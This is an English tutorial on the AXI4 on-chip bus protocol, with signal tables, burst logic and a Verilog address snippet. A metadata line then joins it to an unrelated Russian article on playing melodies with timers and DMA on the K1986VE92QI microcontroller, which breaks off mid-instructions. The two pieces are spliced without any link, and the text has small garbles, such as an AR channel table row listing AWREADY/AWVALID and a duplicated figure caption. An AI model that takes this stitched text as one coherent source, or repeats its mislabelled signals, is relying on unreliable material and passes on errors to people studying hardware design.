Each channel follows channel protocol rules, which are described in the next section. Read-only and Write-only variations are possible. This is done by implementing only channels required by a specific device. AXI Specification also defines AXI4-Lite protocol which imposes more strict rules to transactions generated by the master. Any AXI4 slave can be connected to AXI4-Lite master, however, only AXI4 masters following AXI4-Lite rules can be connected to AXI4-Lite Slaves.
Channel Rules
-------------
Each channel consists of `VALID`/`READY` handshake signals and channel payload signals. Channels have their direction, which matches the direction of the signal `VALID`. `READY` has opposite direction of `VALID` signal.
For each channel, it is required for `VALID` to be asserted to signal the start of the channel transaction. The receiver side asserts the `READY` signal to let the channel master know that the channel transaction was accepted and the next channel transaction can be started. One channel transaction is defined as an assertion of `VALID` signal followed by the asserted `READY` signal for one cycle. Channel payload signals should not change while the transaction is active and `VALID` signal should not depend on value of `READY` signal (looking at you Xilinx). `VALID` can't be deasserted until `READY` is asserted (again looking at you Xilinx).
Example: Three channel transactions: CT1 Ready is asserted in the same cycle as valid, CT2: One cycle stall, CT3: Ready signal is asserted before valid.Advantages of dividing groups of signals into channels is the simplification of Clock, Power and Reset domain crossing, register slicing ("period slicing"). This will be further elaborated below. It also further clarifies signal relations, because different channels have different valid signals and prefixes, it is hard to accidentally misunderstand which signals are valid at which stage.
AXI4 signals
------------
AXI4 requires for interface to implement `ACLK` which carries clock signal and requires that signals in each channel be valid on the rising edge of this clock signal. It is also required to implement `ARESETn` which is when low, signals reset. While reset is asserted and one cycle after reset it is required to drive all channel valid/ready signals low.
Following signals are implemented for the AW/AR channels going from master to slave:
| | | |
| --- | --- | --- |
| AW channel signal name | AR channel signal name | Description |
| AWVALID | ARVALID | Handshake signals |
| AWREADY | AWVALID |
| AWID | ARID | Carries identifier. More about this is explained in section: xID signals explained |
| AWADDR | ARADDR | Transaction address generation and calculation-related signals. Explained in address generation and calculation section. |
| AWLEN | ARLEN |
| AWSIZE | ARSIZE |
| AWBURST | ARBURST |
| AWPROT | ARPROT |
| AWLOCK | ARLOCK | Explained in atomic operations |
| AWCACHE | ARCACHE | As explained at the end of this section. |
Following signals are implemented for the W channel going from master to slave:
| | |
| --- | --- |
| Channel signal name | Description |
| WVALID | Handshake signals |
| WREADY |
| WDATA | Write data |
| WSTRB | Write strobe (active-high) |
| WLAST | Signals last channel transaction for this transaction. |
Following signals are implemented for the B channel going from slave to master:
| | |
| --- | --- |
| Channel signal name | Description |
| BVALID | Handshake signals |
| BREADY |
| BID | Carries identifier. More about this is explained in section: xID signals explained |
| BRESP | Response explained in "Writes explained" |
Following signals are implemented for the R channel from slave to master:
| | |
| --- | --- |
| Channel signal name | Description |
| RVALID | Handshake signals |
| RREADY |
| RID | Carries identifier. More about this is explained in section: xID signals explained |
| RDATA | Response Data, bus aligned |
| RRESP | Response, explained in "Reads explained" |
| RLAST | Signals last channel transaction for this transaction. |
Example transactions with expanded signals are presented below.
### Read requests explained
AXI4 read requests happen on channels AR and R. AR channel is used by the master to send read requests to slave. Master first sets the AR channel signals like ARADDR, ARSIZE, ARBURST ARLEN and many more signals. Then ARVALID is asserted signaling that new transaction is started.
Slave then asserts ARREADY, letting master know that the transaction has been accepted and response will be returned on R channel.
Slave after the cycle it accepts AR channel transaction sets R channel signals like RRESP, RDATA and RID.
Single-headed arrows point to signals that can be asserted before or after the signal at the start of the arrow. Double-headed arrows point to signals that must be asserted only after assertion of the signal at the start of
the arrow.For one AR channel transaction, multiple responses may follow. Each R channel payload is called "beat". Multiple beats with one last beat asserting `xLAST` signal is called a burst. A single AR request with a single burst on the R channel is called AXI read transaction.
Example WRAP burst that includes multiple beats.AR channel signals are explained in other sections. R signals are the following: `RRESP`, `RDATA`, `RLAST`, `RID` and obviously, handshake signals. `ARLEN` contains the number of beats minus one. Slave uses this information to generate response data beats matching `ARLEN` + 1. Each beat `RID` signal should contain the same value as `ARID` when the transaction was started. Multiple transactions can be started to compensate for interconnect and slave delays. It is required for slaves to respond in the same order as was requested only if these transactions have the same IDs.
Let's take a look at some transactions, see waveforms below. In `RDATA` Dy shows that for transaction data from address y was returned. The first transaction in light yellow is one beat long burst. The second is an `INCR` two-beat burst.
In the waveform below is `WRAP` four-beat burst.
In this waveform is a `FIXED` four-beat burst.
`RRESP`/`BRESP` has the following values. `EXOKAY` is explained in the atomic access section.
Slaves can choose to accept write or read first or both, however after write response has been transferred on B bus memory slave devices have to respond with updated value for each read.
Interconnect and crossbar relies on `xLAST` signal to differentiate between multiple signals, and as explained in "xID signals explained" interconnect extends ID bits to contain information about requester, and when data is returned same ID bits are used to make a decision about which master response has to be directed to.
One of the common mistakes of designers is assuming that the R channel `RRESP` signal stays the same between multiple beats in the same burst. It's wrong each beat may contain a different response.
The second most common mistake is assuming that `ARREADY` is not required to be asserted before asserting `RVALID`. This is not the case as explained in section "Relationships between the channels" in the AXI4 specification.
The third most common mistake is to assume that if multiple AR transactions are started, they are going to complete in the same order as requested if they have different IDs. This is not the case as explained in the section "Relationships between the channels". Slaves are required to keep multiple transactions with the same ID in the same order as requested, but this requirement is not valid for transactions with different IDs.
### Write requests explained
Write transactions are started by request on the AW channel. Master sets AW signals like `AWADDR`, `AWSIZE`, `AWLEN`, `AWBURST`, etc. Then master raises `AWVALID`.
At the same time master also sets data on W channel, like `WSTRB`, `WDATA`, `WLAST`. Master is not allowed to wait for AW channel request to be accepted before asserting `WVALID`. Violating this may cause deadlocks.
Each bit in `WSTRB` corresponds to a single 8 bit byte in `WDATA`. If `WSTRB` is asserted then the corresponding byte in `WDATA` is written, otherwise it's ignored. `WSTRB` is required to correspond with `AWSIZE` and should be aligned with `AWADDR`.
| | | | | |
| --- | --- | --- | --- | --- |
| Bit in WSTRB | 3 | 2 | 1 | 0 |
| Corresponding bits in WDATA | [31:24] | [23:16] | [15:8] | [7:0] |
When slave is ready it raises `AWREADY` to signal that it's done with data on AW channel. Slave also raises `WREADY` signaling master that write data is accepted. Then `WVALID`/`WREADY` steps are repeated for each beat in that transaction. On last beat master asserts `WLAST`.
After last `WVALID`/`WREADY` with `WLAST` asserted slave sets signals on B channel like: BID, `BRESP` and then raises `BVALID` to signal to master that response to write is done. Master when ready asserts `BREADY`, signaling completion of the transaction.
 Single-headed arrows point to signals that can be asserted before or after the signal at the start of the arrow. Double-headed arrows point to signals that must be asserted only after assertion of the signal at the start of
the arrow.One of the common mistakes is to assume that the master is allowed to wait for AW to be accepted before putting W channel data. This assumption is wrong and may create a deadlock (looking at you Xilinx). For optimal performance, it is recommended to put AW channel data and W channel data as early as possible.
After AW and W channel the last beat is accepted, the slave is allowed to assert the `BVALID` signaling response on the B channel. B channel contains a `BID` signal which should match the same value as in the AW channel request. `BRESP` matches its encoding with `RRESP`.
Masters have to put W channel data in the same order as AW channel's data. Mixing orders between multiple transactions on AW and W channels is not allowed.
Let's take a look at some examples.
")Real example of one beat INCR write (default: awlen = 0, awid = 0, bid = 0)Now let's take a look at another one beat INCR burst.
Now let's take a look at 4 beat INCR burst.
Signal widths
-------------
There are parameters defining the widths of some of the signals: Data width, Address width, and ID width.
I usually use fixed data width and configurable address/id width. Sometimes address bits are required to be some number of bits, by slave implementation.
Data width conversation is done by data bus width converters and AXI4 implements signals that are used to facilitate this form of conversation. One of these signals is AxSIZE, however, implementation has to follow rules for AxCACHE bits.
Address width conversation is usually done depending on the exact implementation. Most implementations just append zeros to widen and throw away unnecessary bits to narrow address width. Throwing away address bits is highly not recommended because it may result in some locations being unavailable. RISC-V-based CPUs who use AXI4 for their bus use signed number extension, because that's what specification RISC-V requires, however, this is usually done by CPU implementation itself, instead of interconnect/crossbar.
ID width down conversation is unreasonable but easy to implement by mapping multiple IDs to the same ID and then remembering in which order for that ID request has been sent. When the response arrives we unmap narrow ID to wide ID because we know that for the same ID transaction order is preserved.
ID up conversation is simply done by left appending zeros. Usually, interconnect and crossbar extend ID width to include information about transaction source. When the response arrives, this ID is then used to redirect the response to the master that initiated the transaction.
### ARCACHE/AWCACHE signals
ARCACHE and AWCACHE signals are used to give cache/crossbar and interconnect a suggestion about the requirements for the transaction: cache allocation, bufferability, modifiability policy. All valid values and explanations of specific bits that can be found in the AXI4 specification fall outside the scope of this article.
Address and burst logic
-----------------------
AXI4 implements burst transactions to increase performance and implements multiple active transactions to improve performance in high latency systems. Both read and write transactions are initiated on AR/AW channels accordingly. AR and AW channels contain four signals used in address generation and bursting logic: AxADDR, AxSIZE, AxLEN, AxBURST.
AxADDR contains starting address, however, it might not be bus size aligned for some burst types. All addresses are byte-aligned values.
AXI4 defines the following: The single beat is data on W channel or R channel from when VALID is asserted to when READY is asserted. Multiple beats can be transitioned on the W/R bus, the count of these beats is defined by AxLEN value plus one. The last beat always asserts xLAST signal, to signal to interconnect that single burst was done. Single burst is defined as all the beats from the first one to the last beat with xLAST signal asserted. One transaction contains one address beat and AxLEN + 1 data beats. For writes, this also includes one beat at B channel, which contains RESP and ID signals of the transaction.
, T2 (arlen=3) read transactions and T3 (awlen=1), T4 (awlen=3) write transactions.")Example of multiple transactions: T1 (arlen=1), T2 (arlen=3) read transactions and T3 (awlen=1), T4 (awlen=3) write transactions.AxSIZE signal contains log2 value of the count of bytes that are going to be transferred in a single beat. AxSIZE can be as high as the maximum size of the data bus. AxSIZE is not mandatory for master and if not implemented then value matching data bus width is used. Slaves have to implement this signal. AxSIZE does not change the number of beats in a single transaction but instead specifies a single beat's width.
| | |
| --- | --- |
| AxSIZE | Bytes in transfer |
| 0 | 1 |
| 1 | 2 |
| 2 | 4 |
| 3 | 8 |
| ... | ... |
| 7 | 128 |
AxLEN specifies the number of beats in a single transaction minus one. For example, value of zero means that there is one single beat. This signal is not mandatory for masters and if not implemented by the master, then a value of 0 (single beat) is assigned to the slave's input.
AxBURST controls internal address generation and allows to choose between `FIXED` - same address for all beats, `INCR` - each beat address is incremented by 1 << AxSIZE and `WRAP` - each beat address is incremented by 1 << AxSIZE but addresses are wrapped, in other words first beat starts at the address specified by AxADDR and is incremented by 1 << AxSIZE, however when bits that match AxLEN's value rollover they cause the next addresss' same bits to start from 0. For WRAP bursts it is required for AxLEN to be any value of: 1, 3, 7, 15. For all bursts, addresses need to be aligned according to AxSIZE.
Before we move on, let's discuss why we even need such complex pipelined and burst interfaces. Let's discuss one very common case: We have SDRAM controller that accepts address data and then 11 cycles later provides response data that was read from memory.
**1)** Most simple implementation would just accept one address data and then provide singular 8 byte data from memory 11 cycles later. This means that best case scenario we have one data cycle in 13 cycles or 7% efficiency and 11 cycles latency.
**2)** Now let's optimize it. Instead of only reading one cycle of data, instead, we request a section of data from DRAM memory and then cache it. We need 8 bytes but it is extremely likely that we will need adjacent data (for example, because it's a continuous stream of instructions).
Let's say instead of requesting 8 bytes for each transaction we request 64 bytes (8 words) starting from byte 0 in a cache line.
Let's assume a 50% hit rate. Easy to calculate that in 20 cycles we read 64 bytes and used 32 bytes, this means we achieved 4 data words in 20 cycles efficiency or about 20% and 20 cycle latency.
For 12.5% hit rate we get 5% bus utilization and for 100%, bus utilization reaches 40%.
**3)** Now let's imagine that our DRAM can accept address in 3-11 cycles (yes 0 wait cycles before providing next data beats) before it provides data. This is because address in DRAMs uses a separate bus making it possible to start the next transaction before the last one completes.
From SDR SDRAM Micron Datasheet. Example consecutive reads to any bank in already open columnDepending on locality it may be required to issue multiple operations on the address bus (open column and only then open row), reducing performance and increasing latency. Not hard to calculate that we would achieve about 23%-100% efficiency (assuming no refresh cycles) depending on how local requests were and 11-20 cycle latency depending on which data is required by request (assuming all operations need to be done) or up to 3-12 cycles latency if an only open row operation is required.
**4)** By implementing both INCR bursting and pipelining we utilized 100% of our bus, but we still have 3-20 cycles delay between our request and data, because we start fetching data from byte 0 of the cache line.
Depending on if we need the first or the last word in a cache line the latency varies between 11-20 cycles. The solution is using WRAP bursts instead of INCR bursts. This way, the data word which is required, will be fetched first allowing us to still get 100% bus utilization AND reduce latency to the same level as initial implementation.
All current SoCs and all DRAM implement WRAP bursts for cached access AND pipelined memory access, because it's simply inefficient to do it any other way.
AXI4 requires specific values for AxLEN signal in WRAP burst requests because SDRAM memory uses a specific fixed set of values for burst length.
SDR SDRAM Wrap burst possible lengthsIn comparison FIXED bursts allow DMAs and CPUs that utilize FIXED bursts to read/write multiple data samples to the same location. This is useful for example if you have audio samples that are being read from memory and are streamed to the audio controller, which accepts data in a single address location.
Fixed burst done by DMA to one fixed location: Audio controller's data input registerMapping of AxBURST values and burst types are presented below. For bursts where AxLEN is set to zero, it is recommended to set AxBURST to INCR.
| | |
| --- | --- |
| AxBURST[1:0] | Burst type |
| 0b00 | FIXED |
| 0b01 | INCR |
| 0b10 | WRAP |
I implement burst logic in slave as follows (given example for Verilog, not compiled, may be bugged, use at your own risk):
```
increment = (1 << (size)); // 8 bits wide
// Size = 0, 1 byte, 1 increment
// Size = 1, 2 byte, 2 increment
// Size = 2, 4 byte, 4 increment
// etc
// Wrap mask. Bit mask showing
wrap_mask = (len << size) | (increment - 1);
// Width matches address width,
// assumed that address can fit full burst
// Examples:
// size = 3'b010,
// len = 8'b0, 1 cycle, wrap mask = 11
// len = 8'b1, 2 cycles, wrap mask = 111
// len = 8'b11, 4 cycles, wrap mask = 1111
// len = 8'b111, 8 cycles, wrap mask = 11111
// addr_nxt is signal for next address
// addr is current addr
if(burst_type == `AXI_BURST_INCR)
addr_nxt = (addr + increment) & ~(increment - 1);
// make sure that all subsequent addresses are aligned to size
else if(burst_type == `AXI_BURST_WRAP)
// make sure that wrap actually wraps around,
// by throwing away unnecessary carry bits
// no need to reset LSB bits because it is required for addr to be aligned
addr_nxt = (addr & ~wrap_mask) | ((addr + increment) & wrap_mask);
else if(burst_type == `AXI_BURST_FIXED)
addr_nxt = addr; // Fixed address :D
```
As mentioned in the AXI4 specification bursts can't cross 4KB boundaries. My crossbar maps AXI4 slaves to 4KB aligned regions because it makes bursting across multiple slaves impossible.
INCR burst rules.WRAP burst rules.For INCR bursts it is required for the address to be aligned according to the value of AxSIZE. This is done to allow the narrow bus to wide bus conversation. It is common to assume that address is aligned to bus width, which is wrong.
Another common mistake is: assuming endianness. AXI4 is specifically designed to be byte invariant. This is explained really well in the AXI4 specification itself and falls outside of the scope of this article.
ARPROT/AWPROT
-------------
Both AR and AW implement additional ARPROT/AWPROT, which contain three bits used by ARM processors to signal to slave current privilege level. Three bits are defined as following:
| | | |
| --- | --- | --- |
| AxPROT bit | Value | Description |
| 0 | 0 | Unprivileged access |
| 1 | Privileged access |
| 1 | 0 | Secure access |
| 1 | Non-secure access |
| 2 | 0 | Data access |
| 1 | Instruction access |
If slave behaves differently depending on AxPROT bits, it can use these bits in address decode logic. Use cases for these bits include peripherals that are only visible in secure mode, or only in privileged mode. For example, Boot memory with a bootloader can be made invisible to supervisor-level software (kernel).
Transaction IDs and their usage
-------------------------------
Each transaction on the AXI4 bus can have an ID. ID is supplied by the master at AW/AR channel and returned on R and B channels. Usually out of order CPUs use the ID to their own needs, like what register data will be written back or for signaling different threads in the same core. This allows the CPU to make multiple read or write requests while no data or response arrived.
Another use case is by crossbars. Crossbars extend ID bits by $clog2(number of masters). This allows the crossbar to know to which master to redirect response, then ID bits that were used for this purpose are stripped and a new ID is returned to requesting master that matches the ID of the original request.
 is appended to original transaction's ID (light blue) to then use the appended bits to identify master that started the transaction. Only original transaction's ID (light blue) is returned to master.")Master's number (green) is appended to original transaction's ID (light blue) to then use the appended bits to identify master that started the transaction. Only original transaction's ID (light blue) is returned to master.Master's number (green) is appended to original transaction's ID (light blue) to then use the appended bits to identify master that started the transaction. Only original transaction's ID (light blue) is returned to master.
AXI4 defines that only transactions with the same IDs have to be in order, this means that the crossbar can take advantage of this by initiating multiple transactions from multiple masters, to minimize bus idle time and reduce performance hit done by latency.
Atomic operations explained
---------------------------
Let's imagine the following. We have a website that is used to vote for candidates for the presidency at the Banana Republic. Obviously, the website handles a lot of traffic, so we decided to handle multiple transactions in parallel.
When a request to vote comes the handler just increments the variable stored in the memory. However, multiple votes can come to different handlers each running on its own CPU. The problem may arise, where CPU0 reads current counts of votes. Then CPU1 reads current counts of votes. CPU0 increments and writes back a new count of votes, but CPU1 still uses stale value of votes, increments and writes back a different count of votes that does not include votes produced by CPU0.
Example race conditionOne of the possible solutions is CAS operation or compare-and-swap. The first value is read and modification of the internal register is done (for example it's incremented). Then CAS operation is done and swap of internal register and memory location is done only if the value of the original read matches the value in memory, otherwise, the swap does not complete. This means that if the value has been modified by another CPU, then the CAS will fail, letting software know that increment did not succeed and to attempt it again.
CAS suffers from an [ABA problem](https://en.wikipedia.org/wiki/Compare-and-swap). ARM, MIPS, RISC-V, and other RISC CPUs propose different solutions to this problem: Load reserve/store conditional operations.
Load reserve tells memory to raise an internal flag for some amount of memory that includes the initial load operation's location. When any store is done to the same reserved location that flag is reset. When CPU attempts store conditional it fails because the reservation has been reset. CPU now retries to do the same operation by repeating the attempt. If the flag is still raised and the store-conditional operation has the same ID as the original load-reserve, the operation succeeds. It is allowed to fail this operation for any arbitrary reason.
Race condition solved using load-reserve and store-conditionalLet's see why it is required for the ID of the original load-reserve. Let's imagine attacker CPU executes continuously store operation causing the exclusive monitor to remove reservation, so victim CPU will never successfully complete store-conditional causing deadlock for victim CPU.
The exclusive monitor mitigates this by implementing multiple locks that match at least number of CPUs, this way attacker CPU will only mess up its own reservations. This is done by requiring the initial ID number to match the ID of store-conditional and CPUs to use separate values for each thread. Usually, implementations implement multiple exclusive monitors, count of which matches count of all of the possible ID values.
However, stores still invalidate the exclusive monitor's lock if the same location as in the original load-reserve is overwritten. This is safe because if multiple threads share the same memory locations then the threads already trust each other.
Now let's take a look at what AXI4 implements to allow the implementation of load-reserve and store-conditional operations. First of all, it's an additional AxLOCK signal. When load operation is done with ARLOCK asserted it's called load-reserve operation. And store operation with AWLOCK asserted is called store-conditional.
Some slaves may not support exclusive access. To signal this to the CPU slaves can just ignore ARLOCK signal because for successful exclusive access separate response value is used: EXOKAY. If the slave does not implement the ARLOCK signal then load-reserve to any location will result in a response OKAY (which is different than EXOKAY) signaling to the master that exclusive access is not supported for that location.
If slave supports atomic operations then it implements AxLOCK signals and it's required for slave to eventually succeed load-reserve/store-conditional operation pair. When load-reserve succeeds EXOKAY value is returned. And store-conditional returns EXOKAY for successful store-conditional. If store-conditional fails slave returns OKAY, and dismisses write value for failed store-conditional.
Slaves that do not support atomics will never get store-conditional, because the load-reserve failed.
AXI4-Lite Explained
-------------------
AXI4-Lite was designed to facilitate the design of slaves that do not support burst access and transaction ID. This choice lets designers reduce area usage of both the slave and master and allows implementation of simple slaves, that use simplified interconnect and their performance is irrelevant while maintaining a degree of compatibility and ensuring simple conversation between AXI4 and AXI4-Lite. AXI4-Lite reduces the number of signals because these signals are no longer required:
AXI4-Lite signalsAXI4-Lite slave can't be connected to AXI4 master which does burst access. A specific converter is required for this task. However, the AXI4-Lite master can be connected to the AXI4 slave by connecting non-existing signals to their default values. Obviously, the AXI4-Lite master can be connected to the AXI4-Lite slave. Again, obviously AXI4 master can connect to the AXI4 slave.
AXI4 and AXI4-Lite interoperability tableRegister Slice
--------------
To understand why AXI4 uses channels we need to understand what is register slices, how dividing signals into channels helps when designing register slices and why register slice is used.
Let's understand what limits the maximum frequency of the circuit. Let's take a look on the abstract structure of the register-to-register logic.
FF-to-FF logicFor people experienced in developing RTL this diagram is very familiar. The first flip-flop launches output data on the positive edge of the clock clk-to-Q time later. Data passes through combinational logic and Tdelay time later output stabilizes. The last flip-flop captures stable data after Tsetup time. If we have a clock that has a period that is smaller than the sum of these delays, then the last flip-flop will capture invalid data.
One parameter we can control is combinational logic. By reducing the delay of combinational logic, we increase the maximum frequency of the circuit. For example, by dividing combinational logic into smaller pieces that have smaller delays, we increase the maximum frequency, but also increase latency.
To achieve this in AXI4 it is common to use register slices. Register slice inserts flip-flops and makes sure that all outputs of the channel are registered. By registering outputs, we make sure that the combinational delay of one circuit will not influence the combinational delay of the other circuit.
There are two types of register slices. Light-weight with 1 cycle latency and 50% channel utilization and fully registered that has same 1 cycle latency but does not suffer from 50% channel utilization. Light-weight register slice is commonly used for AW/AR/B channels.
Light-weight register sliceA fully-registered register slice implements two deep storage. This improves utilization but suffers from bigger area usage because requires twice the number of flip-flops.
If no data is stored in intermediate flip-flop then data is forwarded to output directly from input. If the output is currently busy then input is registered into an intermediate flip-flop and then output is finally free, data from an intermediate flip-flop is transferred to the output flip-flop. This way no bubble cycle is required and 100% channel utilization can be achieved. For this reason, it is commonly used for W/R channels.
Clock crossing
--------------
One of the benefits of using AXI4 as your System-on-chip bus is that for clock crossing simple asynchronous FIFOs can be used. It is common for SoCs to have multiple clock domains. AXI4 was specifically designed with clock crossing and register slicing in mind.
FIFO based clock crossingIt is reasonable to get 2-4 cycles latency relative to the slowest clock. More sync stages reduce chances of metastability but also increase latency. Careful consideration needs to be done to ensure that both the time-to-failure is reasonable to the lifetime of the product and the latency penalty is reasonable.
In conclusion
-------------
AXI4 is one of the best bus protocols. It takes into consideration all the issues with AXI3 and further improves over simple CPU interfaces.
If this article will gain popularity, I will release part two explaining typical designs of:
* crossbar
* exclusive monitor
* data width converter
* AXI4 -> AXI4 Lite converter
* AXI4 BRAM controller
* And many more!
If you have some interesting topics (Like how to synthesize your digital IC, or how to design your own analog IP) you would like for me to cover, feel free to contact me using dialogs or comments.
The source code for this article can be found [here](https://github.com/armleo/axi4_article_habr).
About author
------------
I am Arman Avetisyan ([Twitter](https://twitter.com/ArmleoBlog), [GitHub](https://github.com/armleo/)), and I graduated VLSI IC Design at Synopsys University. I was working for about 3 years designing and verifying Digital IP using Verilog. I wanted to write some articles and share my knowledge because I can see that there are almost no articles covering VLSI Design.
I am open for hire to work on your next-generation Digital IP in Armenia/CIS/US/Canada/EU or remotely. Here is why I think you should hire me:
* I designed and verified Avalon-MM SDR SDRAM controller.
* I designed, verified and tested over air, mixed software/FPGA radio transceivers (Mono-carrier QPSK RRS filtered, GFSK/GMSK).
* I am designing and verifying [ArmleoCPU](https://github.com/armleo/ArmleoCPU) as a hobby project. ArmleoCPU is RISC-V CPU implementing RV32IMA and AXI4. This core includes a Memory management unit, Write-through cache, TLB, Multiplication/division and implements SMP. The repository also includes AXI4 peripherals (UART, SPI, Timer, Core Local Interrupter, Platform Level Interrupt Controller, Multi-channel QSPI Flash/PSRAM/Custom protocol) that will be used to tape out fully custom SoC that can boot and run Linux.
* I designed and verified multiple protocol converters.
* I also worked on USB3 MAC implementation and I am familiar with Wishbone/Avalon/Ethernet/PCIe/JTAG/USB2/3/4 specifications, CDC/RDC, DFT, RTL-to-GDS flow, IP verification, formal IP verification.
* I have a Bachelor's degree in VLSI Integrated Circuit design from Synopsys, NPUA and I am currently pursuing Master's degree in the same specialty.
* My experience also includes designing mixed-signal IP, PCB design, Software (C++/C), Firmware (STM32, AVR, 8051), and Web development (Node.js, Angular, React).
If you are interested contact me using dialogs or send me an e-mail: `arman.avetisyan2000+habrgmail.com`
If you want to make more articles into reality or if this article helped you, you can send me a dime using [donation alerts](https://www.donationalerts.com/r/armleo).
References
----------
* [AXI4 Specification](https://developer.arm.com/documentation/ihi0022/e/AMBA-AXI3-and-AXI4-Protocol-Specification/Introduction)
* [SDR SDRAM Datasheet](https://www.micron.com/-/media/client/global/documents/products/data-sheet/dram/64mb_x4x8x16_sdram.pdf)
* [Xilinx AXI Register Slice](https://www.xilinx.com/support/documentation/ip_documentation/axi_register_slice/v2_1/pg373-axi-register-slice.pdf)
Wavedrom for creating pictures of the waveforms. Paint.NET for simple diagrams and for Draw.io for more complex ones. GTKWave for waveforms from real projects (including ArmleoCPU).
**PS**: I used Master/Slave terminology because it matches the AXI4 specification. It is recommended to use alternatives like Host/Client or Host/Device to encourage inclusivity. | https://habr.com/ru/post/572926/ | null | en | null |
# Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Генерируем и воспроизводим звук. Часть четвертая: финал
#### Введение.
В данной статье мы закончим тему генерации звука средствами нашего микроконтроллера. Создадим одноголосную и многоголосую основу для музыкальной открытки.
#### Делаем одноголосную музыкальную открытку: играем простую мелодию.
В качестве закрепления умения работы с таймерами, предлагаю написать программу, которая будет играть нам небольшую мелодию. Что-то типа музыкальной открытки. Для начала уясним. Синусоида для всех нот одинакова. Разница в высоте звучания создается из-за различной скорости выдачи этой синусоиды на усилитель. Иначе говоря, меняя параметры таймера — мы меняем высоту ноты. DMA же передает одну и ту же синусоиду.**Напишем функцию, которая будет менять высоту тона.**
```
void SM_Ton (uint32_t TN) //Меняем тон таймера.
{
TIMER1->CNTRL = 0; //Останавливаем таймеры.
TIMER2->CNTRL = 0;
TIMER1->CNT = 0; //Сбрасываем значение таймера.
TIMER2->CNT = 0;
TIMER1->ARR = TN; //Заполняем новые значения.
TIMER2->ARR = TN*25;
DAC_ST_ADC[10-1].channel_cfg = (uint32_t)(DMA_DAC_InitST_PR); //Перенастраиваем структуру DMA.
DAC_ST_ADC[10-1+32].channel_cfg = (uint32_t)(DMA_DAC_InitST_ALT);
TIMER1->CNTRL = CNTRL_CNT_EN; //Разрешаем работу таймеров.
TIMER2->CNTRL = CNTRL_CNT_EN;
}
```
Также вспомним, что при инициализации таймера мы уже выдавали нашу синусоиду с определенной частотой. Следует убрать «звучание» ноты из функции инициализации.**Получим следующее.**
```
void Init_TIMER1_to_DMA_and_DAC2 (void)
{
RST_CLK->PER_CLOCK |= PER_CLOCK_TIMER1_ONCLK|PER_CLOCK_TIMER2_ONCLK; //Включаем тактирование таймера 1 и 2.
RST_CLK->TIM_CLOCK = 0; //Отключаем тактирование таймеров.
TIMER1->DMA_RE |= DMA_RE_CNT_ARR_EVENT_RE; //Разрешаем пинать DMA.
TIMER2->IE = TIMERx_IE_CNT_ARR_EVENT_IE; //Прерывание по достижении границы.
TIMER2->STATUS=0; //Сбрасываем флаги прерываний.
NVIC->ISER[0] = 1<<15; //Разрешили прерывание от таймера 2.
RST_CLK->TIM_CLOCK = TIM_CLOCK_TIM1_CLK_EN|TIM_CLOCK_TIM2_CLK_EN; //Подаем тактовый сигнал на таймеры.
}
```
**Далее нам нужно написать функцию, которая будет отключать звук.**
```
void Ton_off (void)
{
TIMER1->CNTRL = 0; //Останавливаем таймеры.
TIMER2->CNTRL = 0;
}
```
**Далее нужно создать массив частот нот. Сделаем его на три октавы**
```
#define HCLK_MY_TIMDEL 8000000/100
uint32_t music_books[37] =
{
HCLK_MY_TIMDEL/130.82, //C_3
HCLK_MY_TIMDEL/138.59,
HCLK_MY_TIMDEL/147.83,
HCLK_MY_TIMDEL/155.56,
HCLK_MY_TIMDEL/164.81,
HCLK_MY_TIMDEL/174.62,
HCLK_MY_TIMDEL/185,
HCLK_MY_TIMDEL/196,
HCLK_MY_TIMDEL/207,
HCLK_MY_TIMDEL/220,
HCLK_MY_TIMDEL/233.08,
HCLK_MY_TIMDEL/246.96,
HCLK_MY_TIMDEL/261.63, //C_4
HCLK_MY_TIMDEL/277.18,
HCLK_MY_TIMDEL/293.33,
HCLK_MY_TIMDEL/311.13,
HCLK_MY_TIMDEL/329.63,
HCLK_MY_TIMDEL/349.23,
HCLK_MY_TIMDEL/369.99,
HCLK_MY_TIMDEL/392,
HCLK_MY_TIMDEL/415.30,
HCLK_MY_TIMDEL/440,
HCLK_MY_TIMDEL/466.16,
HCLK_MY_TIMDEL/493.88,
HCLK_MY_TIMDEL/523.25, //C_5
HCLK_MY_TIMDEL/554.36,
HCLK_MY_TIMDEL/587.32,
HCLK_MY_TIMDEL/622.26,
HCLK_MY_TIMDEL/659.26,
HCLK_MY_TIMDEL/698.46,
HCLK_MY_TIMDEL/739.98,
HCLK_MY_TIMDEL/784,
HCLK_MY_TIMDEL/830.60,
HCLK_MY_TIMDEL/880,
HCLK_MY_TIMDEL/932.32,
HCLK_MY_TIMDEL/987.75,
0 //Пауза
};
```
Отмерять длительности нот будем системным таймером. Так проще всего. Настроим его так, чтобы при заданной скорости ударов в минуту (мне, как музыканту, так привычнее) мы могли отмерять ноты [до шестнадцатых](https://ru.wikipedia.org/wiki/%D0%94%D0%BB%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BD%D0%BE%D1%82).
**Пауза, размером в шестнадцатую**
```
#define TactSpeed 60 //Ударов в минуту.
//-------------------------------------------------
//Настройка системного таймера.
//-------------------------------------------------
void Init_SysTick (void)
{
SysTick->LOAD = 80000000*60*4/TactSpeed/16; //80000000*60*4/TactSpeed - длительность целого такта.
//Но мы считаем шестнадцатыми.
SysTick->CTRL |= CLKSOURCE|TCKINT|ENABLE;
}
volatile uint32_t Delay_dec = 0;
void Delay (uint32_t Delay_Data) //Функция задержки на основе SysTick таймера.
{
Delay_dec = Delay_Data;
while (Delay_dec) {};
}
void SysTick_Handler (void)
{
if (Delay_dec!=0) Delay_dec--;
}
```
Следующим шагом нам нужно определиться, откуда брать данные. Перепробовав несколько вариантов, я выбрал самый близкий по душе. Он же самый простой. Вот алгоритм подготовки мелодии:
* Скачиваем какую-нибудь мелодию в формате MIDI. С одним каналом (или потом чтобы можно было выбрать один). Я в качестве теста скачал Elfen Lied — Lilium (имеется на github вместе с файлами проекта).
* Далее нужно перевести наш MIDI в массив, состоящий из номера ноты/паузы и ее длительности. Для этого скачиваем программу Ringtone Editor v2.2 (так же приложена к файлам проекта). Из нее получаем текстовый файл в формате siemeans.**Небольшая справка по программе.**
+ Включаем программу, открываем наш MIDI файл. Если он имеет много каналов — выбираем 1 нужный. Жмем ок.

+ После этого мы видим созданный текст-ноты дорожки. Он состоит из названий нот и их длительностей. В своем формате.

